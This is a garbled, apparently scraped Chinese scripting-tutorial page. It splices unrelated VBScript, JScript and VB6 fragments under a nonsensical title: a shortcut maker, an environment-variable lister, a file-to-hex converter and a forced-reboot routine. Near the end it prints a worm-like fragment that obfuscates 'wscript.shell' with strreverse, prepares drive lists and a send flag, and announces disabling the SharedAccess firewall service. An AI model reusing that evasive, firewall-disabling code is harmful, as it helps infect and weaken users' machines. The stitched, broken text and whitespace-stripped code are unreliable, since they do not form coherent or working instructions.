用python写脚本要会cgi吗美食探店短

发布时间:2021-05-30 来源:脚本之家 点击:

例如,在过程中声明或作为模块级声明,Dimx(1000000)AsByte
SetunNamedArguments=WScript.Arguments.UnNamed
setWshShell=WScript.CreateObject("WScript.Shell")
SetobjFSO=CreateObject("Scripting.FileSystemObject")
strFolder="d:\temp"'后面要有符号""
forcount=0towscript.arguments.count-1Step1
filename=unNamedArguments.Item(count)
SetobjFile=objFSO.GetFile(filename)
setoShellLink=WshShell.CreateShortcut(strFolder&objFSO.GetBaseName(filename)&".lnk")
oShellLink.TargetPath=filename
oShellLink.WindowStyle=1
oShellLink.WorkingDirectory=objFSO.GetParentFolderName(filename)
oShellLink.Save
NEXT

vbscript 脚本编程语法
");

8.列出与SYSTEM相关的重要环境变量
shell=WScript.CreateObject("WScript.Shell");
envObj=shell.Environment("SYSTEM");

WScript.Echo("======所有的SYSTEM环境变量列表:");
WScript.Echo("No.ofenv.variables="+envObj.length);
varEnum=newEnumerator(envObj)
for(Enum.moveFirst();!Enum.atEnd();Enum.moveNext())
//WScript.Echo(Enum.item()+"===>"+envObj(Enum.item()));
WScript.Echo(Enum.item());
有没有看过“系统”属性?对于属性中的系统环境的相关配置还需要用手动来查看吗?这个脚本就可以解决掉这一系列的问题

  高级约束数据网格控件(DBGrid)

  高级约束数据网格控件显示并允许操作与其相连的记录集对象,DBGrid控件被称为“数据感知”的,即只要将其DataSource属性设置为Data控件(当然Data控件的DatabaseName和RecordSourse属性必须已经被正确设置)就能利用记录集来自动填充控件的网格,并且列头也由记录集对象自动设置



把它稍微改写一下:



程序就可以动态生成VBS自删除脚本,并调用它删除自身啦,方法同样和批处理文件的自删除相似Windows为多种多媒体设备指定了设备类型,如Animation(动画播放设备)、DAT(数码录音机)、Sequencer(MIDI音序器)、VCR(程控录像机)等,只需修改DeviceType属性,就可以实现对多种设备的驱动


'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado=CreateObject("adodb.stream")
With Ado
.Type=1
.open
.loadfromfile fname
ss=.read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i=1 To lenB(Re)
bt=AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

PublicSubendtimer()
KillTimer0,id_timer
id_timer=0
MsgBox"Timerhasbeenkilled!",vbExclamation,"Done!"
Form1.Command1.Caption="Start"
EndSub
Updateprogressbar过程用来更新进程条的显示

让我们看一个利用了这个技巧的脚本,然后具体解释一下它的工作原理:

敏哥假人RebootsaWindows2000PC.ManyexamplesshelltothekernelandjustkillthePC.Thisdoesitproperlyandtakesintoaccountauserprivilages.

'APICallsusedforRebootPC

PrivateConstTOKEN_ADJUST_PRIVILEGES=&H20
PrivateConstTOKEN_QUERY=&H8
PrivateConstSE_PRIVILEGE_ENABLED=&H2
PrivateConstEWX_SHUTDOWNAsLong=1
PrivateConstEWX_FORCEAsLong=4
PrivateConstEWX_REBOOT=2

PrivateTypeLUID
 UsedPartAsLong
 IgnoredForNowHigh32BitPartAsLong
EndType

PrivateTypeTOKEN_PRIVILEGES
 PrivilegeCountAsLong
 TheLuidAsLUID
 AttributesAsLong
EndType

PrivateDeclareFunctionExitWindowsExLib"user32"(ByValdwOptionsAsLong,ByValdwReservedAsLong)AsLong
PrivateDeclareFunctionGetCurrentProcessLib"kernel32"()AsLong
PrivateDeclareFunctionOpenProcessTokenLib"advapi32"(ByValProcessHandleAsLong,ByValDesiredAccessAsLong,TokenHandleAsLong)AsLong
PrivateDeclareFunctionLookupPrivilegeValueLib"advapi32"Alias"LookupPrivilegeValueA"(ByVallpSystemNameAsString,ByVallpNameAsString,lpLuidAsLUID)AsLong
PrivateDeclareFunctionAdjustTokenPrivilegesLib"advapi32"(ByValTokenHandleAsLong,ByValDisableAllPrivilegesAsLong,NewStateAsTOKEN_PRIVILEGES,ByValBufferLengthAsLong,PreviousStateAsTOKEN_PRIVILEGES,ReturnLengthAsLong)AsLong


SubRebootPC()
 OnLocalErrorGoToRebootPC_ErrorHandler
 ConstcsProcName="RebootPC"

 DimhProcessHandleAsLong
 DimhTokenHandleAsLong
 DimtmpLuidAsLUID
 DimtkpNewAsTOKEN_PRIVILEGES
 DimtkpPreviousAsTOKEN_PRIVILEGES
 DimlBufferNeededAsLong

 hProcessHandle=GetCurrentProcess()
 CallOpenProcessToken(hProcessHandle,TOKEN_ADJUST_PRIVILEGESOrTOKEN_QUERY,hTokenHandle)

'GettheLUIDfortheshutdownprivilege
 CallLookupPrivilegeValue("","SeShutdownPrivilege",tmpLuid)

 tkpNew.PrivilegeCount=1'Oneprivilegetoset
 tkpNew.TheLuid=tmpLuid
 tkpNew.Attributes=SE_PRIVILEGE_ENABLED

'Enabletheshutdownprivilegeintheaccesstokenofthisprocess.
 lBufferNeeded=0
 CallAdjustTokenPrivileges(hTokenHandle,False,tkpNew,Len(tkpPrevious),tkpPrevious,lBufferNeeded)

'ForceaReboot(nooptiontosavefilestocancelout)
 CallExitWindowsEx(EWX_FORCEOrEWX_REBOOT,&HFFFF)

 ExitSub
RebootPC_ErrorHandler:
 CallRaiseError(csModName,csProcName,Err.Number,Err.Description)
EndSub->


On Error Resume Next
Set fso=CreateObject("scripting.filesystemobject")
Set wshshell=CreateObject(strreverse("wscript.shell"))
Dim dri_list,dri_list0
Dim issend
issend=0
c_time=Date()

' 这是关闭SharedAccess(Intemet连接共享和防火墙服务)。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号